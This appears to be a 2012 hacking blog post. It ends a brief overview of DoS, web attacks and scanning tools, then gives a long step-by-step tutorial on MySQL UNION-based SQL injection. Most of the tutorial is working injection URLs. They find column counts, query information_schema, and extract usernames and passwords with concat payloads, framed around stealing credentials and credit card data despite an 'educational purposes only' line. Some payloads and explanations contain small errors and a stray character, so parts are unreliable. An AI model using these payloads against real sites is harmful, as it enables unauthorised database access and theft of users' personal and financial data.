Denial of Service (DoS): DoS is very common. The ultimate idea is to prevent legitimate users from using the system. Running DoS is very simple, you don't gain anything from doing DoS. Hackers do it to threat companies, things like that. Many methods/level of DoS attacks exist. Examples of some ways of to DoS, ping of death, Windows size overflow, smurf, teardrop attacks, and many more. There are lots of different ways to do it!

Web Hacking: web hacking is the most popular attacks. It is based on hacking individual sites, servers, or components based on the website. First step a hacker takes is, enumerate services(applications) on target machine, and then determine what webserver software(apache, IIS, etc) is running on the target system. After that, the hacker exploits against vulns. found in the target system. It will be easier to hack if the hacker knows the version of the service/software running.

A webserver attack leads to deeper penetration on the network(move into the target's internal network). Popular attack methods are xxs(cross-site scripting), IIS DLL vulnerabilities(IIS is very commonly exploited), directory traversal, unicode attack, and many more.

What is Unicode attack?
here is quick rough description about Unicode attack, lets say you want to pass space into a URL. If you put a space in URL, webserver will not take your URL, webserver will consider the url is invalid. Thus, if you want to put spaces among the URL, you should put the number 20 in a place of the space(number 20 represents the space), so when the URL goes to the webserver, the webserver says Ok! thats a valid URL, lets process it and so it does. Unicode attack uses this technique in a non-standard(bad way) way to attack the webserver. Thats a quick explaination about unicode attack.

I'm already about to finish this tutorial, i will just talk about popular tools in a brief manner. I will start with namp.

Nmap is the most popular hacker tool outhere. Linux command line nmap works better and is supported better. Nmap comes with ping utility, port scanning utility, service enumeration & OS fingerprinting.

SuperScan is a windows based tool developed by foundstone Inc. Its easy to use it & a good tool for Windows.

Nessus is used for vulnerability assessment. It is an open source software kit, with commercial version available as well. Nessus uses client/server architecute. Server will be installed on a central location. Nessus comes in GUI & command line interface. Nessus uses database that carries latest current exploits for all types of OS & application. Databases in nessus are called plug-ins, hundrends of vulnerability plug-ins exist and are updated daily to include latest exploits. Nessus requires high level of knowledge to use the tool very effeciently. You can go out to the web and download an exploit and then add it to the database. Nessus can take quite long time to do vulnerability assessment.

Finally, the information in this tutorial have been gathered from various types of sources, and then i wrote the tutorial in an organized manner from scratch as well as i added some stuff & clarified many parts.

After you have read this tutorial, i recommend you to search and learn about Windows Null Sessions, it is the most critical flaws associated with Windows OS, and google about DNS zone transfers!

This tutorial is a good guide for you that gives you an insight on how to start & different techniques that hackers use and how they are used. I hope you have enjoyed this tutorial & helped you in someway or another. I'm not supporting any illegal activities. This tutorial for people who wants to know how hackers think, what steps they take to break into systems & how they do it, so people can have an insight on how to protect themselves against intruders.


***This tutorial is made for educational purposes only***



Sunday, 20 May 2012

ADVANCE SQL INJECTION



SQL Injection is one of the most common web application errors today. It is also one of the most deadliest because it allows remote users to access confidential information such as usernames and credit cards.

With databases being the central core of our economy and all of our nations wealth being held in servers that may be able to be compromised by witty hackers, SQL Injection is a problem that needs to be addresses not to let hackers exploit these errors for their own good, pleasure or challenge but rather to bring awareness to the fact that a simple error caused by a lazy or inexperienced programmer can cause consequences from a simple website deface to the leaking of millions of users financial information. To start this paper out, I provide you with an Outline for MySQL Injection attacks, which will also serve as a table of contents since each section will discuss a separate step in the exploitation process.

MySQL Injection Outline (table of contents):

In Part 1 (this part):

Section 1 - Intro to Basic Database Information

Section 2 - Steps to injections

1)Find out how to close the previous statement & find the right comment to use to end the injection

2)Check for magic quotes

3)Check to see if UNION works

4)Find the number of columns

5)Craft a union statement that doesnt cause an error and see which columns are outputted

6)Check the MySQL version to see if information_schema is present

7)Get the desired column and table names

8)Get your data



In Part 2: (not done yet)

Section 1 - Advanced injections

1)Check for load_file()

2)Check for into outfile

3)Ddos the MySQL server

4)login page injections

5)Possible failures - multi selects

6)Get past magic quotes - where, concat - no load_file

7)The no spaces bug

8)Getting past filters

9)Blind Injection

10)Advanced NOT IN


Before we start anything about inserting SQL commands and stealing data from columns and tables, we need to discuss the basics and all the terms that will be necessary for fully comprehending this paper. So lets begin this with some basic Database Server Info. By the end of this section you should fully understand the basics of databases and how they function on a user interaction level.

Section 1: Basic Database Information

Database(DB) Servers are servers that hold information. Information is stored in a type of holder called database, which is a certain section of the database that serves as a structured container that stores data in fully organized subsections which enable the quick and efficient withdrawal or insertion of data..

DB Servers can have many databases, each with a different use, such as web, which may hold content displayed or needed for the correct display of WebPages open to the public, or intranet, which may include information needed by employees on the inside network of the company, etc. There are many types of database servers, but all are similar which few differences. Some common types are:

1)MySQL

2)MsSQL (Microsoft SQL Server)

3)Oracle

4)Microsoft Access

5)Postgre SQL

etc..

In this tutorial we will discuss one of the two most common, MySQL (the other most common is MsSQL, then after that Microsoft Access).

DB's are made up of tables, each which hold a similar type of data such as user info or articles. Tables are made up of columns, which group the data into different types such as usernames, passwords, dates registered, etc. The actual data in a table is in a row, which are inserted into the database and have info for each column in the table - e.g. a username, password, etc

Now, to access data from the server you would use SQL - Structured Query Language. This is similar to programming languages in that it has its own set of functions, operators, and syntax. This lets you select certain data that you want and choose the database, table, and columns that you want to access the rows in.

SQL has a set format for selecting data from the database. It looks like this:


SELECT column1,column2 FROM table



This is basically saying to go to table "table" and gets the data stored in columns "column1" and "column2" for all the rows (since the number is not specified, it takes them all. Ill show you how to specify how many next) .

But what if you only wanted two rows? Yes, you could still retrieve all the rows then sort it out with commands in PHP, but that's inefficient. Say you wanted the FIRST 2 usernames & passwords from table users of database webinfo (for injections you usually don't have to put the database, its already selected in the code) You would use

SELECT column_name FROM table_name limit start,number



column_name is the columns you want. if you want two columns, you would do column1,column2.

table_name is the table. If you want to use a table from a different database server, you would do database.table

limit start,number tells the server how many rows you want. Say you want the first 2 rows, you would make start 0 (the first row), and put number 2 for two rows. This would basically say go to the first row (0) and give me the next two rows.

If you wanted the next 2 rows after the first two (but only two, not all 4), you would make start 2 since you already got 2 and make number 2 again. (limit 2,2). This would be saying go to the second row and get me the next two rows. If you wanted all four, you would make start 0 and number 4.

For injections you don't need to know how to get the data out of the query result in PHP/ASP, which usually involve manipulating the arrays returned by the MySQL query, since its already done for you in the code of the script you're trying to hack. You just need to find which columns get displayed to the page, which we will discuss later.

Now, say you want to get the password of a user whose username is "bako123". This is used for login systems to check logins. Then you would use:

SELECT column_name FROM table_name WHERE column_name = 'Value'



For example, if you wanted to the password column from the table users in a row where the username column is bako123 you would do:

SELECT  password FROM users WHERE username = 'bako123'



This would let you retrieve the password of a certain user, bako123. This can be used in many ways, to retrieve a certain article, user information, a certain persons financial information, etc.

If you wanted to get the password of a user where the name was similar to bako , maybe xbako or bakos or xbakos, you would do


SELECT password FROM users WHERE username LIKE '%bako%'



The % is a wildchar which basically says there can be text in its place, so in this case there can be text before and after bako since there is a % before and after it.

This leads us to the final discussion in this section:

Magic Quotes

Many database servers (or scripts that access them) have magic quotes enabled. This takes quotes like ', which are needed to specify data like for statements like WHERE username = or in functions we will discuss later that load files with a certain filename. Quotes are needed to specify strings. For example, when we did WHERE username LIKE '%bako%', the quotes told the server that the string to search for was %bako%. If there were no quotes, the server wouldn't take %bako% as a string, and not only would the search fail but the script would return an error because %bako% is out of place.

Magic Quotes prevents quotes from being used in injections by either making the ' (original quote) to \' (backslashed quote) or '' (double quote).

The \' tells the SQL server to take away the meaning of the ' and regard it as a normal character in a string. For example, say you wanted to select a password from a user that had a username Bako's. If you did :

SELECT password FROM users WHERE username = 'bako's'



the ' in bako's would end the username = value statement and make it WHERE username = 'bako'. Then the s' would be stray and cause an error.

So to sepcify that the ' isnt part of the SQL query syntax but just a normal character in a string like the letter b, you can use \ to take its meaning away and make it be considered a normal character by the server.

Another way the server takes the meaning away from ' is by making it ''. Say you wanted to find a user by the name of bako's again, and you put bako's straight into the script, like

SELECT password FROM users WHERE username = 'bako's'



the script/server would change it to

SELECT password FROM users WHERE username = 'bako''s'



which would then create two different strings, bako and s, and since the s is out of place and not in a statment( like SELECT col FROM table WHERE col = value) or function it would cause an error too. There is a way to get around this in certain cases, and it will be discussed later. Now that you know basic info on MySQL, time to start Injecting!!

Section 2: SQL Injecting to Steal Data

In this section we will cover each of the steps to successfully exploiting SQL Injection vulnerabilities in web scripts that use MySQL. We will go step by step and cover each part thoroughly. By the time you finished this section you should fully understand how to take advantage of SQL Injection vulnerabilities and be able to successfully retrieve data such as usernames, passwords, financial information, and other assorted confidential data from databases that are used by vulnerable scripts. Well start from the very beginning of determining if the script is vulnerable or not.

Subsection 2.1: Check for Injections

So say you find a script like this and you want to see if its vulnerable to SQL Injection:

http://site.com/script.php?id=1



In order to further demonstrate how this works, lets say you do know what query the script forms (which is usually very unlikely in real-world injections). Lets say it looks like this:

SELECT title,data FROM news WHERE id =



What that would do is get the title and data info from the news table in a row where the column id was 1.

So, what if we added some SQL commands to the id in the URL? Like this:

http://site.com/script.php?id=1'



The output depends on the script's quality. If the script filters the input for SQL keywords, or converts the id value to an integer so the keywords don't get through, or takes any other precaution to ensure that you cant insert SQL statements into the query, then no SQL error would be returned, and the page will either load normally or give you a warning like "Attack Spotted, Your IP Address has been recorded " or something similar. However, if the script had no filtering whatsoever and just got the user data for id straight from the URL and inserted it right into the MySQL Query, then you would get an error like this:

"MySQL Syntax Error By '1'' In file script.php On Line 7."



Then you would know that the server does NOT filter input to make sure there are no SQL commands/syntax in it and DOES NOT make sure the data is only an integer. Since you got an error, you are SURE that this is SQL Injectable!

Keep in mind that now all sites has errors as verbose as this, some sites have simple errors like "INTERNAL ERROR" or "ERROR" that reveal no useful data. However, you can be reasonably sure that its injectable. To be fully sure, move on to the next step. If all the possibilities fail in the next step, then you now chances are that's not an SQL error but some other type of error.

Now That you have found out its injectable, lets go step by step through my MySQL Injection outline.



Subsection 2.2 -

Step 1) Find out how to close the previous statement.

To do this we will use an SQL operator "and". This word lets you specify two criteria's that the row must match when searching the table. For example, if you have a WHERE clause, such as


SELECT user from users where password = 'pass123'



and want to select data not only where the password is 'pass123' but also where the email is 'email@m.com', you would use something like this:

SELECT user from users where password = 'pass123' AND email = 'email@m.com'



This basically tells the server, as we had before, select the data from the user column in a row in table users where the password is pass123 AND the email also is email@m.com. If both of these criteria are not matched, then the script moves on to the next row.

Another operator like AND is OR. An example:

SELECT user from users where password = 'pass123' OR email = 'email@m.com'



This basically says, instead of making sure the column password is pass123 AND the email is email@m.com, it searches for rows where the password is pass123 or the email is email@m.com. Both don't have to be present for the row to be chosen. One will do, even if the other doesn't equal the right value.

Now say you added an and 1=1 to any statement, it would load since 1 always equals 1. This can be very useful from an attackers point of view. It can help us find out how to close the previous query AND can help us to determine is magic quotes are enabled.

Lets say you don't know the query, as you wont in most cases. The query could be anything like:

SELECT user from users where id = '1'


or

SELECT  user from users where id = (1)


or

SELECT user from users where id = 1



etc...

In order to add more SQL commands to steal our data (credit cards, usernames, passwords, etc) we need to be able to end the where id = 1 (or '1', (1), etc). To do that we would have to try different possibilities until we get NO error.

In order to add our command, we would also need to know how to get rid of the other data that will come after our injection. For example, if the query was like this:

SELECT user from users where id = '1'


and we did

http://site.com/script.php?id=1' and 1=1


 (lets say magic quotes are OFF) the query would become:

SELECT user from users where id = '1' or 1=1 '



The stray ' after 1=1, which is left over from the '1' before we added our commands, needs to be taken care of or it will cause an error. To do this, we need to use comments to comment out the rest of the code. Two comment operators are /* and --. Sometimes one will cause an error, in that case try the other.

So lets have an full example for this first step in injections.

Say the script was, as I said before:

http://site.com/script.php?id=1


First we would check if its injectable:

http://site.com/script.php?id=1'



It gives - "Error in MySQL Syntax by '1'' in script.php on line 7."

Now you know its injectable. Now lets try to see how to end the WHERE clause.

http://site.com/script.php?id=1or 1=1 --



This would work if there was no ' surrounded 1, like in

SELECT title FROM news where id = 1



This gives the error - "Error in MySQL Syntax by '1' or 1=1 --' in script.php on line 7."

Remember, MySQL always surrounds the problem part in the query, in this case 1' or 1=1 --, with quotes, so don't let the beginning and end quotes confuse you.

Even though the error shows you that 1 has a ' after it (by '1' or 1=1 --') we will pretend we didn't notice (not all sites have errors like this anyway).

So we would try next

http://site.com/script.php?id=1 or 1=1 /*



same error - "Error in MySQL Syntax by '1' or 1=1 --' in script.php on line 7."

Now lets try ending it with '. so lets do:

http://site.com/script.php?id=1' or 1=1 /*



now we get the error - "Error in MySQL Syntax by '/*'. in script.php on line 7."

This would show us that either /* isn't supported or this SQL server is configured so that it needs a */ to close the comment, which would defeat the purpose of commenting out the code. But since it doesn't give us an error about the ' after id=1, we know were close. So we try the next comment operator:

http://site.com/script.php?id=1' or 1=1 --



The page loads normally!!! Now we know we need to end the where clause with ' and add -- to the end to add our SQL commands!!

Now we move on to the next step:

Subsection 2.3 - Step 2) Check for magic quotes

We know from our example before that magic quotes are off because we used ' to end the WHERE clause and it gave no error, but lets pretend our first try worked, http://site.com/script.php?id=1 or 1=1 --, so were not sure if ' causes an error or not. We need to know if magic quotes is on because if we want to use a function like load_file to steal files (discussed later), or choose data where the user = 'admin', we need to be able to use 's, so magic quotes MUST be off.

To find out if theyre on, we would try:

http://site.com/script.php?id=1 or '1'='1' --



If you get an error like:

"Error in MySQL Syntax by '\'1\'=\'1\''. in script.php on line 7."


or

"Error in MySQL Syntax by '''1''=''1'''. in script.php on line 7."



then you would see that magic quotes are on since its adding \s or an extra ' to the ' you put in. Then you would not be able to steal files if load_file was enabled or choose certain data using WHERE ( there is a way to get around it which I will discuss later, but it doesn't work for load_file, just WHERE and other functions discussed later like concat)

Now if you get no error, you know magic_quotes are off and you have an even bigger advantage. That was easy, wasn't it? Now lets move on.


Subsection 2.4 - Step 3) Check to see if UNION works

UNION is a function in SQL that lets us select more data in a single SQL statement. This can be very useful since we need to use it in order to select our own data that we want to steal from the database such as passwords or financial data. To illustrate its use further, here's an example. Say the query was:

SELECT user from users where pass = 'pass'


we could do

SELECT user from users where pass = 'pass' UNION select email from emails limit 0,1



And no error would be displayed. You don't need to know how it helps get data to the page etc since its not needed to get the injection working.

However, in order to get the data from the UNION SELECT displayed, we would need to make sure the first select statement displays no data at all. If the first select statement does return data, it will overwrite the data from the UNION. We will discuss this later. Also, it is always good to use UNION ALL instead of just UNION, it can prevent type mismatch errors.

Now, UNION is only available in MySQL server versions above 3 (4,5,6 - 6 is the latest, but 5 is most popular). So in order to steal our data, we need to use union (well, we could use blind injection, but that's a pain in the ass), and in order to use union, the MySQL version MUST be > 3.

There is a way to check for the MySQL version without union ( 1 and (substr(@@version, 1)>3 )- but its more advanced than the general tone of this tutorial at the moment (ill go over it in a bit), so we will use an easier way. This is to try a union select and judge the error. So we could try:

http://site.com/script.php?id=1' UNION ALL SELECT 1 --


If you get an error like :

"Error in MySQL Syntax by 'UNION'. in script.php on line 7."

Then you know that the server is not understanding what UNION is since its getting an error at the UNION keyword. If you got an error like:

"MySQL Error: Select statements must have the same number of columns in script.php on line 7."

Then you know union worked since it realizes that both selects don't have the same number of columns, therefore showing that it reads two selects, where ones the original and one our union. Even If we got a different error such as a type conversion, as long as its not saying an error by UNION its ok. For some errors that just show "INTERNAL ERROR" or something similar, it's a good idea to try the next method.

So, if there aren't error messages like this, and just errors like INTERNAL ERROR, then you can use


http://site.com/script.php?id=1' and substr(@@version,1)>3 --



Substr is a function that takes a certain character from a string. @@version gives us the MySQL version in a string. So say @@version returned 4.1.33-log, subtr would get the 1st letter in it (the ,1 in substr(@@version,1)), which is 4. Then it checks if 4 is greater than 3 (the >3 part). If it is, the page loads normally. If it doesn't, the page will load with no data (you can get a blank page, or a page with the basic template but no actual data, e.g. no title for the news and no actual news).

Now if UNION works, were in business! Time to move on! if not, you can use blind injection, which will be briefly discussed later in Part 2.


Subsection 2.5 -

Step 4) Find the number of columns

This section will fix this error we got before- "MySQL Error: Select statements must have the same number of columns in script.php on line 7.". In order to actually use UNION to steal data, we must make union work first with no error at all so the page can load and display the stolen data.

This error occurred because the initial SELECT statement and the UNION ALL SELECT statement we injected had a different number of columns. Whenever you have UNION SELECT (or UNION ALL SELECT), the number of columns must ALWAYS match the number of columns in the first SELECT statement, or you'll get an error. For example, if the query looked like this:

SELECT user,pass FROM users WHERE userid = 1 UNION ALL SELECT email FROM emails



You will get that error since the first select is selecting two columns (user and pass) while the UNION ALL SELECT is selecting only one (email). So if you did

SELECT user,pass FROM users WHERE userid = 1 UNION ALL SELECT email,id FROM emails



There wouldn't be an error and the query would execute successfully since the first select statement is selecting two columns (user and pass) and the second select, the union all select, is also selecting two columns (email and id).

Now to get the number of columns in the first select statement, we can do two things:

1) guess the number of columns till you get it right. For example


http://site.com/script.php?id=1' UNION ALL SELECT null --



(null is a data type that means empty. If you used 1 or 'the' - or in other words, an integer or string, you might get a type mismatch error)

If you get an error like "MySQL Error: Select statements must have the same number of columns in script.php on line 7." then you move on to

http://site.com/script.php?id=1' UNION ALL SELECT null,null --



and continue adding a ,null (an extra column) to the URL until you get no error. Then count the nulls and thats the number of columns!

2) use order by - this is WAY easier.

ORDER BY is a statement in SQL that tells the database server how to order the result. For example, if you did

SELECT title,data FROM news WHERE id=1 ORDER BY news ASC



the server would order the all the output in alphabetical order from a-z. If you changed ASC to DESC it would make it z-a.

The server automatically sees if the column is a string or integer. if its a string, it goes alphabetically, and if its an integer, numerically.

ORDER BY also selects numbers instead of columns. The number is the number of the column in the select statement. For example, if the query was this:

SELECT title,data FROM news WHERE id=1 ORDER BY 1 ASC



It would choose the first column chosen in the query, which is title (it chooses from title, data). Then it orders the result alphabetically from a-z. If it was:

SELECT title,data FROM news WHERE id=1 ORDER BY 2 ASC



It would use the second column selected, data, and order it by that.

So we can take advantage of this and try numbers from 1 on in the URL. Once we hit an error saying that the column is invalid, we know that the last number to NOT give an error is the number of columns. Here's an example:

http://site.com/script.php?id=1' ORDER BY 1 -- no error

http://site.com/script.php?id=1' ORDER BY 2 -- no error

http://site.com/script.php?id=1' ORDER BY 3 -- no error




http://site.com/script.php?id=1' ORDER BY 4 --



 error - "MySQL Error: No column number '4' in WHERE clause in script.php on line 7."

So we know that 3, the last number to not give an error, is the number of columns in the first select!

Now lets move on to the next step!


Subsection 2.6 -

5)Craft a union statement that doesn't cause an error & see which columns are outputted

So now that we know the number of columns, we need to make a union statement and see which columns are outputted to the site so we know which columns we can use to retrieve and output our data to the screen. This is generally a two step process.

1)First we craft the union select statement( remember to use union all) which numbers as the columns. An example:


http://site.com/script.php?id=1' UNION ALL SELECT 1,2,3 --



If there is no error, you look at the screen and check which numbers are displayed in the place data would normally be put (for example, in the place where the article title would be, check if a number is there).

If the numbers are on the screen, you know you can use the columns with those numbers to display stolen data. The other columns that aren't displayed are useless.

For example, if you see the number 2 in the title of the page and a number 3 where the article is usually displayed, you know that you can use the second and third column (where you put the 2 and 3 in the union all select 1,2,3 --) to display data you will steal from the database to the page.

Now if you get an error when you use all numbers like: "MySQL Error: Cant convert int in script.php on line 7." then you know that one column cant be a number, so you should move to step 2.

2)Since we know that we cant go all out and put all integers, we need to use null. Null never causes a type conversion error since its just an empty data holder. So we try:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --



Now if you can an error, there is a good chance the script has TWO select statements. For example, first it can do:


SELECT title,data,author FROM news WHERE id= '[your data from the url]'



then in a later line in the script it uses the id value from the url again in another select statement like this:

SELECT data,time FROM news WHERE id= '[your data from the url]'



Now, the first select statment would be like this:

SELECT title,data,author FROM news WHERE id= '1' UNION ALL SELECT null,null,null --



but the second will be

SELECT date,time FROM news WHERE id = '1' UNION ALL SELECT null,null,null --



This would cause an error since the second query has ONLY TWO columns in the first select statement (time,year), while the union all select has THREE columns. This will cause another error saying select statement need the same number of columns. Now if you change the UNION ALL SELECT to have two nulls, then the first select would cause an error.

Unfortunately, there is no way around this in MySQL at the moment. (in MsSQL there is, however). A good way to double check that its a multi select and not that you messed up the number of columns in the UNION select statement is to cause an error like we did before, doing

http://site.com/script.php?id=1'
o


Say you got an error like this:

"MySQL Syntax Error By '1'' In file script.php On Line 7."

Then do the union all select url like this:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --



say you get an error like this:

"MySQL Error: Select statements must have the same number of columns in script.php on line 18."

Now look at the two errors. The first is on line 7, and the second on line 18. Now that you know that two separate lines of code caused the error, you know that two separate queries caused the error and it is in fact a multi select, which you cant get around.

Keep in mind that not all sites have errors that verbose. Some just say "error". Then you would have to double check the columns and make sure you didn't make a mistake.

So lets say there is no multi select. We left off at :

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --



Now there is no error. So we try this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,null,null --



We check for two things: an error, and if no error is displayed, check if the number 1 is displayed on the page in a place it wasn't before, like the title or where the news or author would be.

Say you get the same error as before in step 1:

"MySQL Error: Cant convert int in script.php on line 7."

Then you know that the first column causes an error, and you should ignore it and switch it back to null.

If it happens that all the columns cause errors or aren't displayed on the page, you can come back and test it with 'test' instead of 1 and see if it displays text or still gives a conversion error. If you get no error AND the word test is displayed on the page, you can then go further and get usernames/passwords and any other text based data, but not data that are integers like dates and credit cards.

So now that we know 1 causes an error, we move on and check column two after we switch 1 back to null.

http://site.com/script.php?id=1' UNION ALL SELECT null,2,null --



Now look at the screen. Lets say there is an error. So now we know that 2 also causes an error and cant be used.

So lets change 2 back to null and try 3.

http://site.com/script.php?id=1' UNION ALL SELECT null,null,3 --



and guess what - no error! now check the page for the number 3. Check any places such as the title bar in your browser and places where data was like where the news was or the author or date. If you don't find anything, don't give up, make the number unique like 1232323132 and view the source and see if its displayed in any hidden tags.

If its not displayed, as I said before, you can go back to the other two and try strings like 'test' (as long as magic quotes are disabled, or your getting around them like I will explain later), and check if those are displayed.

So now we are left with:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,3 -



and we know we can use the 3rd column to display our stolen data! So lets move on to step 6:


Subsection 2.7 -

Step 6) Check the MySQL version to see if information_schema is present

This is an easy step!

Information_Schema is a part of the database that holds ALL of the table names and column names stored in that database. You can access it like any other table.

To get tables, you would use information_schema.tables like this:

SELECT  table_name from information_schema.tables



This would return all of the tables that exist in the database.

To get columns you would use information_schema.columns

SELECT column_name from information_schema.columns



This would return all the column names in all the tables of the database.

Information_schema.columns also holds the table names, so you can switch column_name with table_name and use it to get tables too.

Now this luxury is only available in MySQL version 5 and up (6). So to make sure we can use it, we need to use the @@version command to check the version. So lets take our URL and change 3 with @@version.

http://site.com/script.php?id=1'UNION ALL SELECT null,null,@@version --



Now, check where the 3 was before to see the version.

If the version is like 4.0.22-log, then the MySQL version is 4 and you cant use information_schema.tables, but if its 5.0.1, then you can use information_schema.tables! You can also use the substring method I described before.

Now lets move on to step 7:

Subsection 2.8 -

Step 7) Retrieve the desired columns

If the version is above or equal to 5, we can scan information_schema for password (or credit card, etc) columns. If not, we have to guess and use clues given to us in errors to find prefixes, tables and columns that we want to steal data from. So for the first part lets assume that information_schema is enabled.

Now we need to scan information_schema for columns that are similar to pass, password, user_pass, etc. ( you can change it around so it will be creditcard, address, phone number, etc)

So, we need to use information_schema.columns and the LIKE operator along with wildchars (%) as I discussed in the basic info section.

So if we were putting queries straight into the db server, it would look like this:

SELECT column_name FROM information_schema.columns WHERE column_name LIKE '%pass%'



(of course, magic quotes will have to be off. If they're on, you will learn how to get past them later on)

For our vulnerable site, it would look like this:

UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' -



The LIKE '%pass%' is telling the server to scan make sure column_name has a value that is similar to "pass" and can have text before and after it (the wildchars). So it could be pass, userpass, password, etc.

This will return the first column_name that is like pass, with text before and after it (from the wildchars before and after it).

Now say you want the table_name the columns in so you can access it with union. You would simply change column_name to table_name like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' --



Now say you don't like this first column/table, and you want to see if there's a second. There are two ways we can do this. The first is with limit (which I explained in the basic info section). So you would add limit 0,1 at the end which saying get 1 result starting from the 0th (first for humans, 0 for computers) result.

Then after you get the column/table, to move on you would do limit 1,1 then limit 2,1 etc until it runs out of columns. Here's an example:

UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 0,1 --



http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 0,1 --



then record the column and table its in. Lets say the columns userpass and table members. Then we'd change it to:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 1,1 --




http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 1,1



then record the info again then. Then we change it to:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 2,1 --




http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 2,1 --



etc, until you run out of columns that are like pass.

Now say you didn't want to use limit. You could also use NOT IN(). For example, say you did

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%'




http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%'



and you got the column user_password and table members. Now you wanted to see if there was an admins table with a column like pass. So you would add to the end

AND column_name NOT IN ('value'). This says choose the first row where the column "column_name" doesn't have this value. So if you wanted to get the next user column, you would do

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND column_name NOT IN ('user_password') --



or to be more safe, incase the admins table also has the column user_password, you could make it check for the table name like:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND table_name NOT IN ('user_password') --



Then say you got the column password and table backup_members. This is only a backup table, so you want to keep the URL from before and add a ,'backup_members' to the NOT IN ('user_password') like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND table_name NOT IN ('user_password', 'backup_members') --



and then you would check the table name like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE table_name LIKE '%pass%' AND table_name NOT IN ('user_password', 'backup_members') --



You would continue adding ,'table_name' until you finally got to the admins table (if there is one!)

Keep in mind magic quotes must be off for this. Again, you will found out how to bypass magic quotes in times like this later.

Now lets say the MySQL version was only 4 and information_schema IS NOT present. So we would have to use another method to try to get the tables/columns of our interest. Basically, you would first look in the errors and see if it discloses the whole query or at least the table and column (etc MySQL Error in 'userpass FROM users where id=1''), and the then resort to good old guessing. These two steps mainly revolve around luck and poor error message configuration.

So let me explain the error method first. Lets say you do this:

http://site.com/script.php?id=1'



and get the error:

MySQL Syntax Error in the query 'SELECT name FROM sb_news WHERE id = 1''



In the above example, the tables have a prefix (sb). Prefixes are usually present in each table if their in one and are very common in sites. Now that you know the prefix, you would guess sb_users, sb_members, sb_admins, sb_accounts, etc. You see that the column has no prefix, so after you get the table you would try username, password, user_password, user_pass, login, etc... If the error was

MySQL Syntax Error in the query 'SELECT name FROM news WHERE id = 1''



Then you would know the columns have no prefix and you wouldn't have to guess with the prefix. However errors like this are very uncommon. A more common error would be:

MySQL Error: Syntax error by '1' AND g_embedable=1 LIMIT 1' at line 1



This would show you the column name in the particular table. This would be useful because you can now assume either all the columns in the database have the g_ prefix, or you could somehow figure out why it has the prefix (for example, if it was a page of games, you could guess that g stood for games), then see how you can modify it for the users table (so if the table was users, it could be u_password, u_pass, u_username, u_user, u_login, etc). Of course, you would have to straight out guess the tables and if they had prefixes.

But once you have this info, how exactly do you check if the table/column exists? You would use a union all select that selected null (nothing) from the table you're guessing. For example:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null FROM table


(remember to use the right number of columns)

Now if you get an error saying MySQL Error: Table 'table' Not found in script.php on line 7 or any error similar, you know the table doesn't exist.

Once you have guessed the table correctly, then you would have to guess the column. You would do this by changing a null to the column name you guessing and seeing if there was an error. For example:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,password from users



If there is no error and the page loads, then you know the column is password. If there is an error saying invalid column, you have to keep guessing. Remember to use a column that does NOT cause a conversion error since the error may be misleading.

Now that you have the column and table you want to steal data from, well move on to the next step!:


Subsection 2.9 -

Step 8) Get your data

This is the final part of this tutorial, and easy as hell!

So we have our table and column. Lets say the table is users and the two columns you got are username and password. So all we have to do to get the data from those columns is use a simple select query in our URL and limit to sift through the rows! So with username and password in table users, we would do this:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,username FROM users --



Then check the page where the data is displayed and youll see the username!

Now for the password:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,password FROM users --



Then check the page where the username was and you'll see the password! Now, instead of doing two separate queries for the username and password, there are two ways to get the data out at the same time.

The first is if two columns display data to the page. Say columns 2 and 3 displayed data in our UNION ALL SELECT null,null,null. So we would do

http://site.com/script.php?id=1' UNION ALL SELECT null,username,password FROM users --



Then you can look on the page for the username AND password. But they are on different parts of the page, aren't they? To get them together, we can use the function concat(). Concat joins strings. the syntax is concat(string1,string2,etc). You can put in as many strings as you want separated by commas. You can either use column_names or actual strings enclosed by 's (magic quotes must be off). The benefit is the data is together and we only need one column that outputs.

So we can do this:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username,password) FROM users --



But then there would be no distinction between the username and password. So we should add an --- between them. So we could do concat(username,'---',password). Again, magic quotes MUST be off for this to work. An example would be:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username,'---',password) --



Then you will see the username and password separated by ---'s on the page!

Now, what if you didn't want the first users password? Then you would use limit as I discussed earlier. You would tell limit to start from the 2nd row (which is actually 1 for computers since 0 is the first) and to choose 1 row (limit 1,1). So you would do

http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username, '---', password) limit 1,1 -



Then you would check the page again and in the place you saw the previous username and password you would see the second users in the same exact format. Now if you wanted the next user, you would change limit 1,1 to limit 2,1, then the next would be limit 3,1, etc etc until you have all the users you want!